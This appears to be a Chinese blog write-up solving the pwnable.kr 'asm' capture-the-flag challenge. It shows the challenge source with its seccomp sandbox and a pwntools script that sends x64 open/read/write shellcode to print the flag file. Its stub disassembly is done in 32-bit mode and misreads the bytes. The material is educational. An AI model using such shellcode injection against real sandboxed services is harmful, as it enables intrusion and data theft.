asm

Mommy! I think I know how to make shellcodes

ssh asm@pwnable.kr -p2222 (pw: guest)

在这里插入图片描述
ssh连接上去之后,我们可以看到4个文件.使用cat readme查看readme文件的内容.

asm@pwnable:~$ cat readme
once you connect to port 9026, the "asm" binary will be executed under asm_pwn privilege.
make connection to challenge (nc 0 9026) then get the flag. (file name of the flag is same as the one in this directory)

从上面我们可以知道,存放flag的文件名正是this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong
这个文件名非常长,是为了迷惑我们的.

首先查看源代码asm.c

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <seccomp.h>
#include <sys/prctl.h>
#include <fcntl.h>
#include <unistd.h>

#define LENGTH 128

void sandbox(){
	scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
	if (ctx == NULL) {
		printf("seccomp error\n");
		exit(0);
	}

	seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);
	seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
	seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
	seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
	seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);

	if (seccomp_load(ctx) < 0){
		seccomp_release(ctx);
		printf("seccomp error\n");
		exit(0);
	}
	seccomp_release(ctx);
}

char stub[] = "\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48\x31\xed\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xd2\x4d\x31\xdb\x4d\x31\xe4\x4d\x31\xed\x4d\x31\xf6\x4d\x31\xff";
unsigned char filter[256];
int main(int argc, char* argv[]){

	setvbuf(stdout, 0, _IONBF, 0);
	setvbuf(stdin, 0, _IOLBF, 0);

	printf("Welcome to shellcoding practice challenge.\n");
	printf("In this challenge, you can run your x64 shellcode under SECCOMP sandbox.\n");
	printf("Try to make shellcode that spits flag using open()/read()/write() systemcalls only.\n");
	printf("If this does not challenge you. you should play 'asg' challenge :)\n");

	char* sh = (char*)mmap(0x41414000, 0x1000, 7, MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE, 0, 0);
	memset(sh, 0x90, 0x1000);
	memcpy(sh, stub, strlen(stub));
	
	int offset = sizeof(stub);
	printf("give me your x64 shellcode: ");
	read(0, sh+offset, 1000);

	alarm(10);
	chroot("/home/asm_pwn");	// you are in chroot jail. so you can't use symlink in /tmp
	sandbox();
	((void (*)(void))sh)();
	return 0;
}

不妨对stub数组中的内容进行disasm操作:查看这些内容对应的汇编语言是什么:

# -*- coding:utf-8 -*-

from pwn import *
a = disasm(b'\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48\x31\xed\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xd2\x4d\x31\xdb\x4d\x31\xe4\x4d\x31\xed\x4d\x31\xf6\x4d\x31\xff')
print(a)

输出结果如下

acat@acat-xx:asm$ python3 test2.py 
   0:   48                      dec    eax
   1:   31 c0                   xor    eax, eax
   3:   48                      dec    eax
   4:   31 db                   xor    ebx, ebx
   6:   48                      dec    eax
   7:   31 c9                   xor    ecx, ecx
   9:   48                      dec    eax
   a:   31 d2                   xor    edx, edx
   c:   48                      dec    eax
   d:   31 f6                   xor    esi, esi
   f:   48                      dec    eax
  10:   31 ff                   xor    edi, edi
  12:   48                      dec    eax
  13:   31 ed                   xor    ebp, ebp
  15:   4d                      dec    ebp
  16:   31 c0                   xor    eax, eax
  18:   4d                      dec    ebp
  19:   31 c9                   xor    ecx, ecx
  1b:   4d                      dec    ebp
  1c:   31 d2                   xor    edx, edx
  1e:   4d                      dec    ebp
  1f:   31 db                   xor    ebx, ebx
  21:   4d                      dec    ebp
  22:   31 e4                   xor    esp, esp
  24:   4d                      dec    ebp
  25:   31 ed                   xor    ebp, ebp
  27:   4d                      dec    ebp
  28:   31 f6                   xor    esi, esi
  2a:   4d                      dec    ebp
  2b:   31 ff                   xor    edi, edi
acat@acat-xx:asm$ 

我们的目的是将flag文件中的内容读取出来.根据提议,这些读取操作可以通过open,read,write系统调用来完成.而在沙箱中会直接执行这些二进制代码.那么如何获得open,read,write操作对应的二进制代码呢?答案是通过使用pwntools的shellcraft来完成.

因为我们需要打开一个文件,所以open系统调用需要知道文件名,而文件名我们已经知道了,就是那个很长的字符串.

所以在我们的脚本中,我们第一步需要讲那么文件名压栈,那么栈顶指针rsp所指向的内容正是文件名.

所以sh字符数组最终的内容应当是如下图
在这里插入图片描述
在这里插入图片描述
脚本如下所示

from pwn import *
context(arch='amd64',os='linux')
s = ssh('asm','pwnable.kr',2222,'guest')
p = s.connect_remote('localhost',9026)
p.recvuntil('give me your x64 shellcode: ')
shellcode = shellcraft.pushstr('this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong')
shellcode += shellcraft.open('rsp',0,0)
shellcode += shellcraft.read('rax','rsp',100)
shellcode += shellcraft.write(1,'rsp',100)
p.send(asm(shellcode))
sleep(1)
print(p.recvall())

当B部分代码执行完之后,文件名被压入栈中,此时栈的情况大致如下:
在这里插入图片描述
所以此时,rsp指针指向的内容正是文件名.以文件名作为open系统调用的第一个参数,返回文件名对应的文件描述符,由于函数的返回值存放在rax寄存器当中,所以read系统调用的第一个参数是rax.由于脚本中read系统调用的第二个参数是rsp,所以read系统调用执行完成了之后,文件的内容就放在了rsp指针指向的内存单元中.也就是说,文件的内容放在了从栈顶开始,向栈底方向,依次存放.由于read的第三个参数是100,所以最多从文件中读取100个字符的内容.write系统调用的第一个参数是1,我们知道,0代表标准输入,1代表标准输出,2代表标准err.所以0和1代表的都是控制台.所以write负责将read系统调用读取到内存当中的数据读取出来输出到控制台中,这里也是最多读取100个字符.

我呢不妨在本地进行测试:
在这里插入图片描述
长文件名的文件的内容是abcdefg
那么write系统调用部分输出的内容是:
在这里插入图片描述

abcdefg_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooo

正好是100个字符,其中abcdefg讲文件名的前7个字符覆盖了

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值